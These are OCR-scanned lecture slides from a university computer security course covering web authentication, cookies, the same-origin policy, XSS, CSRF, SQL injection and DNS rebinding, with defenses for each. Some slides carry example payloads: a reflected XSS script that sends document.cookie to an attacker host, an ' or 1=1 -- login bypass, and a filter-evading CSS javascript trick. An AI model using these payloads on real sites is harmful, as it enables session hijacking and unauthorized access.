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Web Authentication

« A common misconception: using SSL is only part of securing a

website. Just because a site uses SSL doesn’t mean it’s
secure!

— SSL only protects information transferred between the client
and server. It provides confidentiality and integrity, but
doesn’t authenticate the person using the client.

* Authentication occurs when you prove to the web server who
you are. This is almost always done with a username and

password. Without this, the server will not allow certain HTTP
requests:

— You log into your banking website. Without this, the web

browser will not let you see the page with your bank account
information.

ECE568: Computer Security
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Web Session State

« A web session involves navigating through several pages, each
dependent on the previous. This can be called a web session

work flow or click-through. Example:

Login —— Browss — Select ——> ot

« Each step depends on the previous step, so the website must
‘remember” what you have done before to make sure you do not

skip any steps:
— Remembering what has happened in the past requires the
website to maintain state.
— The state of your web session dictates where you are in the
web site workflow.

ECE568: Computer Security 4
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Basic web server architecture

Front end Back end
A 1 \

Load balancer

sends request to
I lightly loaded > WS
= web server
2 -
ab) Load Ll Wws C__B Application
e Balancer S Server &

_ =+ Q- Database
& O
2 > WS
A farm of web servers handles

/

Web servers are inherently stateless (they
don’t remember state). This is to allow easy
recovery if a web server fails. All state is
stored in the database backend, but access
to the database is expensive

ECE568: Computer Security
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Web Authentication

« Because the web servers are stateless you need another way to
remember if user has logged in or not.

— Example of a bad solution: remember the IP address the
user is at and store that in the database:

— On every subsequent request the web server checks with
the database to make sure the IP address matches

— This is expensive for the database

« Web authentication instead recruits the help of the client web
browser to store the state thus taking load of the database.
There are 2 basic methods:

— Basic web authentication (older, and should not really be
used anymore)

— Cookie-based authentication.
ECE568: Computer Security 6
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Basic Web Authentication

[root@www ~]# vi /etc/httpd/conf.d/auth_basic.conf e

Mozilla Firefox =)

# create new New Tab X |+

<Directory /var/www/html/auth-basic>
' @ ttps:/www.srv.world/auth-basic N @
SSLRequireSSL
AuthType Basic
AuthName "Basic Authentication”
AuthUserFile fetc/httpd/conf/.htpasswd
Require valid-user

</Directory> é Authentication Required

https:/fiwww.srv.world is requesting your username and password. The site says: "Basic

# add a user : create a new file with [-c] Authentication”

[root@www ~]# htpasswd -c /etc/httpd/conf/.htpasswd fedora
New password: # set password e | P
Re-type new password: .

Adding password for user fedora Password: | 900000009

[root@www ~]# mkdir /var/www/html/auth-basic ' Cancel ' OK
[root@www ~]# systemctl restart httpd

# create a test page
[root@www ~]# vi /var/www/html/auth-basic/index.html

<html>

<body>
<div style="width: 100%; font-size: 4@px; font-weight: bold; text-align: center;">

Test Page for Basic Authentication
</div>

</body>

</html>

http://username:password@www.yourwebsite.com/
ECE568: Computer Security 7
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Basic Web Authentication

e Basic web authentication:

— The first time you visit the website, the browser asks you for your
username and password and gives it to the web server

— But HTTP is stateless, the web server doesn’t “remember” that
you've logged in when you click on the next link.

— Your web browser has to “remember” your username and
password and send it to the web server every time you access a
page from the same website

— Can be used with SSL so that passwords are transmitted over
encrypted channel

« Basic authentication has some serious problems:

— Every time you access a page, your credentials are transmitted
giving an attacker more opportunities to snoop them.

— Server has no way to end the session without invalidating user’s
password

— As a result, basic web authentication is almost NEVER used.
ECE568: Computer Security 8
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HTTP Cookies

« An HTTP cookie is a piece of data (a string) that the web server gives
the browser. Next time the browser visits the same server, it will send
the cookie.

This gives the web server a way of tracking which HTTP requests
belong to the same user.

— HTTP cookies can be used for authentication (among other things).
Once authenticated, the browser gets an “authentication” cookie.

Client Server
(web browser) (your bank)
Browser sends username and
Username/password *Sewer checks the validity of the
credentials
Server returns a cookie If valid, server creates a cookie

Browser associates cookie )
with this Website— and send it to client
Next time browser accesses
the same website, the cookie

is sent with the request Server sees the cookie and knows

client has authenticated. Server
serves confidential web pages.

ECE568: Computer Security 9
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Advantages and Pitfalls of Using Cookies

« Advantages:

— Cookies do not reveal the password. Even if an adversary can
learn the value of the cookie, they do not know the user’'s username
and password.

— Cookies can be expired. If the adversary can learn a valid cookie,
the adversary can use it to access private pages. To prevent this,
cookies have an expiry time, after which the server will not accept
them and the browser will delete them. Expiry is entirely under the
control of the server, can end sessions early (server just stops
accepting cookie).

— Cookies provide state. Cookies are really the only practical option
to get state in HTTP sessions.

» Like passwords in basic authentication, Cookies for authentication
should always sent over SSL

ECE568: Computer Security 10
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Advantages and Pitfalls of Using Cookies

« Pitfalls:

— The cookies should not be easy to forge. Since the web server
will infer identity based on a valid cookie, it should be hard to
“‘guess” a valid cookie.

— Cookies are no good if they aren’t sent across SSL. The web
server can specify a policy with the cookie when telling the browser
when it should send it. Cookies used in authentication should be
specified to be only sent in an encrypted session.

— Don’t use persistent cookies. Cookies without an expiration time
are persistent. If an attacker is able to get a cookie, they have
access forever. Making those cookies expire means that the
attacker now has to get to the cookie and use it within a certain
time period.

ECE568: Computer Security 11
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Forgeability of Cookies

« Forging a cookie means that an adversary can guess what a
valid cookie is without having to get it from the web server.

— One solution might be to make the cookies completely
random. However, this means the server has to keep a list
what cookies have been issued to which users so that it can
identify the user by the cookie presented.

— Instead, web designers are tempted to include the name of
the user in the cookie. However if the cookie just contains
the user's name, this makes it too easy for the attacker to
forge a cookie (just has to guess a user name)

ECE568: Computer Security 12
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Cookie creation strategies?

« Recall our cryptographic mechanisms:
— Include all data you need to authenticate user in the cookie
— Sign the cookie to authenticate the cookie

« Example: Wordpress

Username Hash
i v -
Cookias we :'1['.':!-*:;:; bbfaSh726ctbTadcflcdadili7ibalaadl=adaintTC13I9804714C IC254%eafc2f52cticBalf3cadsSdild2y)
i _-r'r—
Cookie 1D Expiration

Courtesy: https://www.wpsecurity.press/wordpress-salts-keys-and-cookies/

ECE568: Computer Security 13
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Stored Cookies

Web Browser: Settings -> Site permissions -> Cookies and site data ...

Settings < Cookies and site data / All cookies and site data Q. search cookies
Q. Search settings
Remove all
Profiles
& Cookies and data stored for sites you have browsed Sort by: | Name N Filterby: = All v
Privacy, search, and services
Appearance (U] ~
(D Sidebar 0 bytes + 14 cookies
[ Start, home, and new tabs M 10.001 > W
& Share, copy and paste 0 bytes - 1 cookie
[T@ Cookies and site permissions B 10.00.12 >W
€@ Default browser 0 bytes = 5 cookies
L Downloads 3 10.0.0.225 > W
?g—) Family safety 0 bytes « 6 cookies
A Languages [z 10.0.0.78 > W
& Pprinters 0 bytes + 2 cookies
O System and performance
¥ B Y 1password.com ~
O Reset settings 0 bytes + 2 cookies
Phone and other devices
password.com
d (I d > W
Fﬁ Accessibility 0 bytes » 2 cookies
Q About Microsoft Edge
D 407etr.com v

0 bytes + 5 cookies

ECE568: Computer Security 14
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Cookies and Privacy

* One of the unrelated drawbacks to cookies is privacy. Web
servers can track users as they visit different websites:

— As part of the policy a web server can specify that a cookie
be sent to other web servers. Users can be tracked as they
move between web servers.

— This requires what are called “third-party cookies”, which is a
cookie from a site that is not the user is actually visiting.
This cookie identifies the user as the navigate from site to
site

— Fortunately, many browser block third party cookies now, but
sites can still uniquely identify users by other information (i.e.
browser, OS, IP address, version, etc...). This is called
“fingerprinting”

ECE568: Computer Security 15
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Cookie Theft

A more serious security concern is if an attacker can “steal” a

victim’s cookie;:

— If an attacker can somehow get hold of someone’s cookie
while it is still valid, the attacker can then access the website
using the victim'’s identity

How can an attacker steal a cookie?
— Cross-site scripting attack

— Cross-site request forgery

To understand this, we need to understand a bit about web
programming and Javascript

ECE568: Computer Security 16
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« Same Origin Policy

* Cross-site Scripting
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Web Programming Overview

 Web browser and web servers use a protocol called the
Hypertext Transfer Protocol (HTTP) to transfer information.

— In HTTP, the browser is always the client (initiates requests),
and the web server always responds to the requests.

« The client can make 2 types of requests:

— GET Request: Gets information, should not change any
state on the web site (though this is not always true)

— POST Request: Sends information to the web site and
changes state.

* Post request send data on a form which is a web page with
fields that you fill out

ECE568: Computer Security 18
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HTML

« HTTP transfers web pages, which are defined in HyperText
Markup Language (HTML).

— HTML mixes commands with data. Commands are specially
formatted as tags, i.e. <div>, <b>..</b>

— Each tag defines an element on the web page.

« Element have attributes, which are specified in two ways:
— Arguments can be specified for the element within the tag:

<form name=loginform method=POST action="/transfer.php"“>

— They can also be specified between the start tag and end
tag:

<a href='index.php'>Zoobar Foundation for Patriotic Discourse</a>

ECE568: Computer Security 19
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HTML code

B % Home- Bectrical & Computer £ X+ - x
& > C Y @ hitpsy//www.eceutoronto.ca x4 ’ HECoxs ¢ o3 N @ H
& Allitems - Google [ [ ECE Graduate [ Networking Conferer @) Google+ ] Welcome to Faceboc  [Y Search ndroid Permis [ TackMe G & Android Build Syste »
— ' . R Element Application o143 1 X
University of Toronto, Faculty of Applied Science & Engineering = _ﬂ e ~pphicstion i
{ return true; } }< ntListeners  DOM Breakpoints  Properties %
¢l--¢[endif]--> LEws
Engineering Home Contact Us U of T Home P <head>.</nead Filt thov .cls +
¥ <body class="home page-template-default page -
. . . page-id-733">
Electrical & Computer Engineering v<aiv 6e"container ,
¥ <header class="header” role="banner .header #header-search #s { style.min.css:3
. . -1 Y border: » 1) solid #00204e;
About  Prospective Students  Undergraduates  Graduate Students ~ Alumni  Faculty & Staff  Research Fase-Link . nay pacharound. s uﬁli_..i“ eefavarch.gif) 2px 2px no-repeat

neader-global-nav’ >

header- search #FLFFL;

padding: » 3px 2px 3px 38px;

v

¥ <form role="search” method="get"
) ) i id-"searchform” action-"https://
Leading Canada in Electrical & wi. ece . utoronto. ca/ ‘header #header-search #5, .heacer
i I label class="screen-reader-text”  * {
Computer Engineering =
<input type="text” value name='

Innovation : id="s" placeholder="Search this
30

inline-block;
12px;

icsl-align: top;

input {
heignt: normal;

Stay in touch with your department!
Learn more about upcoming ECE alumni events. b inav role-"navigation” ./ navs

style.min.

»<p id="loge" class="h1"».</p
. nav-toggle” tabindex=

true”sMenu/a

» <nav nav" role="navigation” class=

closed” aria-hidden-"fslse" style=

transition: max-height 488ms ease 0s;

. The Edward S. Rogers Sr. Department of Electrical & Computer . ition: relative;”s.</nav
Student Life . . 8 . P L P } Discover ECE p?;:a;::‘ relative na ‘
Engineering (ECE) consistently ranks among the top in North America. It e and hesder —-» =2

attracts outstanding students, has excellent research and teaching content” class-"clearfix”

facilities, and is ideally located in the middle of Toronto, a vibrant

»<div id
clesrfix v
w<giv id-"main’ class="ninecol prepend
prependthreecol clearfix” role="main
::before
w<article id="post-733" class=
clearfix post-733 page type-page

dgets” class=

cosmopolitan city. We have an outstanding faculty of more than 75

professors in biomedical, computer, communications, electromagnetics, agent sty

electronics, energy systems, photonics and systems control; many of our
members are international leaders in their fields. We have a new flexible

}

undergraduate degree curriculum and an outstanding funding program for status-publish has-post-thumbnail input:focus, textareo
o . hentry” role="article et BT
k: graduate students and research. We invite you to explore ECE online and \ibefore 7 CHERAEGEESE
Important and informative in person. Year In Review 2017 We hope you <!-- end article header --> tfocus € "
. . . i . v <section class="entry-content o . .
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HTML DOM Tree

2 Source of: http://zoobar.csl.toronto.edu/transfer.php - Mozilla Firefox

HTML elements can contain

"
<HTML>

other HTML elements
(exa m ple , ta b I eS , d iV’S) i;i:é;:i:id;z;z:;"F;ﬁz:;zwcss" href="includes/zoocbar.css" />

</TITLE>
</HEAD>

— This forms a tree, inside

<div>ECE 468 Lab 4</div>
<div><a href="7action=logout"></a></div>

.
elements are children ane
) <hl»<a href='index.php'>Zoobar Foundation for Patriotic Discourse</a></hl><h2>Suppo

<form name=loginform method=FOST action="/transfer.php">

surrounding elements are  |&2

<td>Username:</td>

<td><input type=text name=login username size=30 antocomplete=no valune=></td>
parents
<tr>

<td>Password:</td>

I h ? h 1 h H I I <td colspan=2><input type=password name=login_pa.35word size=30 antocomplete=no>
I S I e ra rC y I S Ca e a <input type=submit name=submit login value="Log in">
<input type=submit name=submit registration valne="Register"»></td>

Document Object Model Jemnes

</form>

</div>
D M tree <div class="footer warning">
.

</div>
<script>document.loginform.login username.focus(); </script>

</BODY >
</HTML>

< >
Line 25, Col 6

ECE568: Computer Security 21
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Interactive Pages: Javascript

« HTML tags only give the web designer a way to present static
content.

— Once the page is loaded the page reads like a document, it
does not change.

 Many web pages today are interactive.

— This means that they respond to user actions by executing
instructions specified by the web site.

— These interactive instructions are written in programming
languages (e.g., Javascript).

« Javascript looks a lot like other scripting languages (perl,
python), syntax is pretty similar

ECE568: Computer Security 22
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How do | run my Javascript?

« Javascript is embedded in the HTML of the page and run when
certain events occur:

— Tags: <script>alert (“Hello World”) ;</script> The
script is placed directly in the DOM tree and will be run when
the page is rendered.

— Links: javascript:alert (“Hello World”); Can be
placed in an href property of a link and will be run when the
link is clicked.

— Attributes: DOM elements can specify javascript to be run
when an event occurs on them:
<button onclick=‘alert (“Hello World”);’" .. >

This will cause the javascript to run when the button is clicked.
(note the use of quotes)

ECE568: Computer Security 23
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Javascript and DOM elements

4% The Edward S. Rogers Sr. Department

« Javascript can access and manipulate elements in the DOM
tree of a web page:

— getElementsByName, getElementById .. : Used to read
elements in the DOM. Example:

var username = document.getElementsByName ('login username') [0];

alert (username.value) ;

Gets the element tagged with the name ‘login_username’.
The value property contains the text in the element.

— createElement, appendChild, write: Used to create new
element or modify elements in the DOM. Example:

var b = document.createElement (‘button’);
document .body.appendChild (b) ;

document.write (“<b>Here is some new text</b>");

ECE568: Computer Security 24
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Javascript and DOM elements

Javascript can also modify the event handlers for new and
existing DOM objects:
— addEventHandler, removeEventHandler : These can

be used to cause some Javascript to be called on an event.
Example:
b.addEventListner (‘click’,my event handler);

function my event handler () { .. }

Javascript can also read the cookies in the document by using
the cookie property of the document element. Example:

alert (document.cookie);

Will print out the cookies associated with the website of the
page.

ECE568: Computer Security 25
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Foreign Javascript

« Browsers execute Javascript (code) they receive from websites:

— Many sites include Javascript from other sites. Examples:

« Many sites include advertisements (ads). The ads are served
by another site that sends javascript that is included in the main
site you are browsing. The same goes for nice counters, etc...

« Many sites allow users to post content (i.e. blogs, wikis,
myspace, facebook). If they are not strict, users can post
arbitrary javascript. Usually, websites attempt to prevent users
from posting javascript, but they are not always successful.

— These 3" party sites can’t always be trusted but it's common
for sites to include javascript anyways.

« Executing Javascript is risky because it can change the
behavior & look of the page:

— |t can also access those cookies!

ECE568: Computer Security 26
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A Example: Advertising Syndication

“¥Yahoo!"- Mozilla Firefox

<div id="ad" class="ad"> <script language=javascript>
rO="http://us.ard.yahoo.com/SIG=12Iq7qk5t/M=634060.11944341.1246

File Edit View History Bookmarks Tools Help

@- - @ L [ meiienyahos.com/ ][] G 9483.7674020/D=yahoo_top/S=2716149:FPAD/_ylt=Aspshet_yFL5X5t
[ customize Links [ | Free Hotmail [| Windows Marketplace [ | Windows Media [ | Windows : 56|S|FXn1CSkA,_y|g=X3OD|V|TA3ZJZXY203BGZWdWXtAZ|-
Get ¥! Toolbar Satisf',! your pnlitita\ fix on Yahoo! News — Election "08. /Y:YAHOO/EXP=1 198826148/A=5133170/R=0/*|; Var
e , Web | Images | Video | Local | Shopping | more ~ cap=0,ncap=0,ad_js|=0,nfv=8; var red=r0.substring(0,r0.length-5);
‘YJS-HOOW‘ I prTTm—— </script> <script language="javascript" type="text/javascript"

src="http://us.js2.yimg.com/us.yimg.com/a/1-
T vz pagsomes®  fjava/promotions/js/ad_eo_1.1.js"></script> <script

Answers Featured Entertainment | Sports | Vidao 7 Z Ianguage=javascript> var

& Hi, David sign Out 5. .

& Autos %} =Lone survivor of crash [ | . | zvisit="http://ad.doubleclick.net/clk;166205555;22670315;a"; var

Fg . A.gilsunives o days inth widemass e | @Messenaer| Y koo zbuild="http://ad.doubleclick.net/clk;166208756;22670315;g"; var

s » Darsatsreieved || @ veover | 62 ot || @ voroscones||  zsee="http://ad.doubleclick.net/clk;166198227;22670315;h"; var

& croups ;hnfii [dmmatcrollled zzip="http://www.saturn.com/saturn/dealersearch.html?SearchByP
7 Hotlobs e Like the holidays, ostalCodePostalCode="; var

| | AR e histantsibansdiil | ired="http://ad.doubleclick.net/clk;166210896;22670315;e"; var

i Movies B o Qe o e ! b=t vl | sred="http://ad.doubleclick.net/clk;166195686;22670315;n"; var

& music » More Featured tred="http://ad.doubleclick.net/clk;166213480;22670315;w"; var

% | e Nows wold | Lecal | Finance trk1="http://ad.doubleclick.net/ad/N3880.SD1509.3880/B2351994.15
Ner. e of 1215 . €57 ;dcove=0;sz=1x1;ord=[timestamp]?"; var text="Saturn Red Tag

& sports it S Event’; var _ _

L Tech - Analysis: Bhutto’s death shakes Pakistan survey="http://surveylink.yahoo.com/wix/p0834715.aspx?source=g
47 P10 poct st wanted mug shots on ta bibonrde, eneral_motors_071228"; var

@ . = Arsonist buns Bush family's former childhood Texas home AP A o ’ .

) Yellow Pages - Pall: Angelina Jolie voted top celebrity humanitarian of 2007 dir="http://us.i1.yimg.com/us.yimg.com/a/1-
e R IO, 12valpromotionsigmi071226r

T— e e i ki 1 Space on web pages is “rented” out to

Vaipdnn | e Pulse - What Yahoos Are Jto advertisers who can put arbitrary

Meost Popular News Videos

French president vacations with javascript code there.

his model girlfriend

= Sell Online

e e . Attractive card, ugly credit

Qur MasterCard is the 1st step to build or re-build credit.

- ORCHARD Bank' )
Featured Services . 5.F. Zoo tiger may have baen
taunted, reports say

Why working adults like college: 1) Some employers pay tuition 2)

G rminarts Higher salary. NexTag - Top school degrees.

il u.s. girl survives plane crashin

. eralth Panama jungle

* Kids What's your credit score 5607 6787 7207 The average US credit score 0 Chel . oin Hillary 1

« GeoCities is 692. See yours for 50. By Experian . f;v;: elsea Clinton join Hillary in

* Personal Website ’il
@ Find:
http://vnw.yahoo.com/s/770581 @ Adblock
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« Same Origin Policy

* Cross-site Scripting
— Type 1 & Type 2 Attacks
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« Cross-site Request Forgery
— Attack mechanics
— Defenses

« SQL injection, DNS Rebinding

ECE568: Computer Security 28



a?ﬁ The Edward S. Rogers Sr. Department

@7 of Electrical & Computer Engineering

&Y UNIVERSITY OF TORONTO

Same Origin Policy

« The Same Origin Policy (SOP) is intended to protect the data
of one website (or origin) from access by another website

— Originally designed by Netscape

— SOP says that Javascript from one origin (i.e. a website)
cannot access any data that was sent in a response from
another origin.

— Examples of data in response:

« Cookies
« DOM information (web page contents)
— Reference at:

* http://www.mozilla.org/projects/security/components/same-
origin.html
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Same Origin Policy

« The origin of a script or data is determined by:
— The protocol used to transfer the script (http or https)
— The hostname that it originates from
— The port number

Z/AWebsite A

N

Javascript

Website A
Cookie

] Website B

Website B
Cookie
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Same Origin Policy Examples

Example A:

— Website A sends you an HTML page. On the html page,
there is a link element:
<a href=http://www.b.com/script.js>1link</a>
When you click on this link, what origin will the script run
under? Can it access website A’s cookies?

Example B: A website explicitly includes Javascript from another site in
its site. For example, an advertiser gives you Javascript code that you
cut and paste into your page:

— What origin does this code run under? Can it access cookies from
the website?

Example C: What about scripts located at:
— http://www.a.com/c/a.htm and http://www.a.com/d/b.htm ?
— http://Iwww.a.com/e/a.html and http://www.a.co.uk/e/a.html|?
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Frames

SOP applies to frames (<frame> and <iframe>) as well:

— A web page can load another web page within an embedded
frame - similar to a window. Example:
http://www.quackit.com/html/examples/frames/

' Mozilla

A frame can load a page from any [-=- ==

domain. However, the parent :
Department of
frame:

« Can only access elements
and cookies within the frame if
they are from the same origin.

* Done using the

EE

irefox

Edit View Hstory Bookmarks Took Help

~[#) [G-

L http:/fwnw.utstatutoronte.ca/

Canada ~

Phone: 416-978-3452
Fax: 416-978-5133

+ Opening Page
+ Departmental Life

< Introduction

< Photos

o Awards

< Grad Student News
+ People

< Faculty and Staff

< Craduate Students
+ Programs and Courses

< Graduate Studies

< Undergraduate Studies N
o Actuarial Science Summer 2008 teaching vacancies are now posted

B
o U of T Mississauda » Nancy Reid appointed to Tier 1 Canada Research Chair in Statistical Theory and Applications
+ U0fT Scarborough + Eckler Ltd. doubles its scholarship support
.
.

Important Notices

+ Research Jeff Rosenthal wins the COPSS award
o Seminars Myvlene Bedard receives the 2006 Pierre Robillard Award
= Technical Reports
< Research Computint
< Statistical Consutting

Information on Meeting the Minimum Grade Requirements for Enrolling in 3rd and 4th vear ACT
Courses

'
Senvice
1frame.contentDocument « o oninte
Department
+ Download Files G ati i
b -fl + Web Mail Department of Statistics Website
l | -

p ro p e y rOWS e r S p e CI I C This website is designed to provide information concerning the teaching, research and consulting
+ SASSU acfivities of the Department of Stafistics at the University of Toronto. The sidebar contains links to
+ Act Sci Club documents describing the activities of the Department in these areas. This site uses Frames. If you
« UTMSA right-click in a particular frame (not on a picture or link) a drop-down list provides you with a list of

+ Statistical Society of Canada
+ Other Links of Interest

+ Advertised Positions External
htip:/fr

~
itstat. utoronto. ca/deptsite /pic-desc.html

options dealing with that frame; e.g. printing, bookmarking, etc.

The link called Opening Page brings you back here. The links under Departmental Life provide

some background information on the department and information about current events. The links

under People provide access to contact information about the people who make up the ~
& & Adlod
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Circumventing the Same Origin Policy

« Perfectly implemented, the SOP would stop many web attacks.
Unfortunately there are ways of circumventing it:

— Cross-site scripting attacks allow attackers to inject their
Javascript and have it run with another website’s origin

» Similar to a buffer overflow that injects malicious shellcode and
has it run with the privileges of the victim application

— Cross-site request forgery allows an attacker to hijack the
cookies of another web site
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Cross Site Scripting Attacks (XSS)

A Cross Site Scripting (XSS) attack is one where a malicious
attacker causes javascript of their choice to be executed in a
victim website’s origin to:

— Leak sensitive information (i.e. authentication cookies)
— Modify the behavior of the website.

Two types of XSS attacks:

— Type 1/Reflected: The attack requires the user to click on a
specially crafted URL that exploits a weakness in the victim
site

— Type 2/Persistent: A weakness in the victim site allows the
attacker to post arbitrary javascript on the victim site. The
user only has to visit the victim site.
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Reflected XSS attack (Lab 4, Part 2)

Web browser calls the script welcome.cgi on the server and

passes the string “Alice” as the name argument:
GET /welcome.cgi?name=Alice HTTP/1.0

On the server side, welcome.cgi runs and uses the name

argument to dynamically generate the following HTML page:
<HTML>
<Title>Welcome!</Title>
Hi Alice!
<BR>

Welcome to our system ..

ECE568: Computer Security 35



4% The Edward S. Rogers Sr. Department

@ | of Electrical & Computer Engineering

% UNIVERSITY OF TORONTO

Reflected XSS attack

The attack:

— What if an attacker tricks you to clicking on this link?
GET /welcome.cgi?name=

<script>window.open (“http://www.attacker.site/collect.
cgi?cookie="+document.cookie)</script>

— The server would substitute the name string and produce the
following HTML.:

<HTML>

<Title>Welcome!</Title>

Hi

<script>window.open (“http://www.attacker.site/collect.cgi?cook
ie="+document.cookie)</script>

<BR>

The HTML coming from the web server has the malicious
Javascript embedded
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Reflected XSS

Same origin policy is not violated because javascript originates
from the same site as the cookies.

— javascript can also perform arbitrary actions on the HTML
page returned by the victim site (manipulate links, alter
content, etc...)

The weakness occurs on web sites whose code doesn’t do the
proper checking of input (i.e. welcome.cgi in the example)

— The web server should have checked that the value in the
name variable is a name and doesn’t contain any javascript.

— In general, XSS weaknesses are a form of poor input
validation.

— However, instead of the web site being harmed, the user is.
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Persistent XSS attack

* Many sites allow users to post their own content, but have
conflicting requirements:

— On one hand, the sites want to provide users the ability to

post rich content (pictures, interactive widgets, nice fonts,
etc...)

» Extreme example is Facebook, where users can basically post
complex applications (with some restrictions)
— On the other hand, websites want to make sure that users
do not post content that will harm other users

« As aresult, most websites perform some filtering on what users
post. They try to remove content that is dangerous (i.e. arbitrary

javascript), but at the same time give users freedom to be
creative.
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Samy Worm on MySpace

Users can post HTML on their pages
— MySpace.com tries to filter out <script>, <body>, onclick,
<a ref=javascript://>
— However, they neglected to filter out javascript in CSS tags:
<div style=“background:url (‘javascript:alert(l)’)”>
And can hide javascript with aline break as java\nscript

Samy’s worm: infects anyone who visits an infected MySpace page and
adds Samy as a friend.
— Samy had millions of friends within 24 hours
— In this case MySpace is harmed as this effectively slows down
MySpace by consuming resources

More info:
— https://packetstormsecurity.com/files/45413/advisory4.5.06.txt.html
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Defenses against XSS

* General defense is better input filtering:

— Check that input does not contain javascript and remove. However,
this is very difficult as there are many ways to obscure javascript

— Another is to convert all special characters before sending it to a
user. Example: php htmlspecialchars function:

e <a href='test'>Test</a> becomes
e &lt;a href=&¢#039;test&#039; &gt; Test&lt; /a&gt;

* More recent defense is HTTPonly cookies:

— Web site can tag certain cookies inaccessible to any Javascript
(including the same origin)

— Web browser will then not let any Javascript read the cookie, even
if from the same site.

— However, only protects cookies, XSS to manipulate DOM elements
or scrape HTML pages is still possible
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Lecture Outline

l -
- to Serint

« Cross-site Request Forgery
— Attack mechanics
— Defenses

« SQL injection, DNS Rebinding
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Cross-site Request Forgery

_ 5. Cookie is
insecure.com sent with the Attacker.com
request

2. Ingecure.com Cookie

3. User visits
Attacker.com

1. Login:
Username/password 4. Attacker sends back a
page with a Javascript that

makes a request to

insecure.com.
[ User }
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Cross-site Request Forgery (Lab 3, Parts 3-5)

» Cross-site request forgery:
1. User is logged into an insecure website.
2. The website sends the user’s browser an authentication cookie.

3. Attacker tricks user into clicking on a link on the attacker’s
website.

4. The link performs a POST or a GET on the insecure website.

5. Since the request goes to the insecure website, and the user is
logged in, the authentication cookie is automatically sent with the
request.

 Because the attacker’s request is accompanied by a valid cookie, the
insecure website will fulfill the request sent by the attacker.

—  Attacker does not need to steal user’'s password
— Attacker does not even need to steal user’s cookie
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Defending against Cross-site Request Forgery

« To protect against this, insecure.com should check that the
request in step 5 actually originates from the user:

— Need to authenticate requests by including an unpredictable
token that is sent to the user from a previous page.
Example, transferring money:

User

Transfer :
selects Submit Transfer
) —> Funds —> —
Transfer P Page Funds
Funds” age
CSRF Website
TOk en checks token
Website shows the When user submits Website transfers
User selects transfer funds the form, web site funds
the transfer page. Page checks that the
funds option includes a signed token is signed and
token valid
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Defending against Cross-site Request Forgery

* This ensures that the request came from a user who clicked on
a page that was sent by the user from a valid “transfer funds”

page

« For the attack to still work, attacker must be able to forge the
CSRF token. However:

— Attacker cannot forge the token because he does not know
the signing key

— Token should change every time so can’t be replayed
— Even better is to tie the token to the user’s identity

« Thus token is equivalent to a cookie, attacker might as well just
try to steal cookie.
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Defending against Cross-site Request Forgery

« Additional check: checking referrer field:

— As part of HTTP protocol, web browser can include the URL
they were last yet (i.e. the “referrer”)

— Problem is that the referrer field is not always set
consistently

— Can be disabled to protect privacy
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SQL injection (Lab 3, Parts 6-8)

 Web server often takes input from HTTP requests and uses it in a SQL
query to a backend database. For example, when authenticating a
user:

set ok = execute (“"SELECT * FROM UserTable
WHERE username=' " & form(“user”) &
“ ' AND password=' " & form(“pwd”) & “ ' 7 );

If not ok.EOF
login success

else fail;

* Code takes user and pwd inputs from HTML form and does a query on
the database to see if they are correct.
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SQL injection

In this case, the attacker is the person browsing the web page and the
victim is the web site:

— If attacker sets user = ' or 1 = 1 -- thenthe query becomes:

SELECT * FROM UserTable

WHERE username=' ' or == -—— & ..

— Since 1 == 1 is always true, then the attacker can now login even if they do not
know the user’s password (the -- in SQL means to ignore everything

afterwards).
HI, THIS 15 OH,DEAR - DID HE | DID YOU REALLY WELL, WEVE LOST THIS
YOUR SON SCHOOL. | BREAK SOMETHING? | NAME YOUR SON YEAR'S GTUDENT RECORDS.
WERE HAVING SOME. | | a w, Robert'); DROP T HOPE YOURE HAPPY.
COMPUTER TROUBLE. TABLE Students;~ 7 !

AND I HOPE

) ~ OH.YES. UTTLE “~ YOUVE LEARNED
Wg BOBBY TABLES, + TOSANMIZE YOUR
m WE CALL HIM. DATABASE INPUTS.
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DNS Rebinding attack

« To load balance, many web sites use very short DNS Time To
Live (TTLs):
— This means that the IP address for the web site changes

frequently to spread load among the web servers in the
server farm.

— As aresult, web browsers are used to querying the DNS for
|IP addresses often.
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DNS Rebinding Attack

« Attacker can circumvent SOP by:

1. Get the victim to visit the attacker’s site. Attacker who controls
the DNS for his site returns a DNS mapping with a short TTL and
returns a web page with malicious javascript.

2. The javascript again makes a query to the attacker’s web site.
The browser must make another DNS query, but this time the
attacker’'s DNS returns the IP address of a victim’s web site

3. Now the browser believes that both the victim web site and
attacker web site are in the same origin. Attacker’s javascript can
access victim’s web site freely.

« Difficult to distinguish from IP address switching due to load balancer
from this attack.

—  Current best defense is to check if both addresses are in the
same subnet, but this is just a hack
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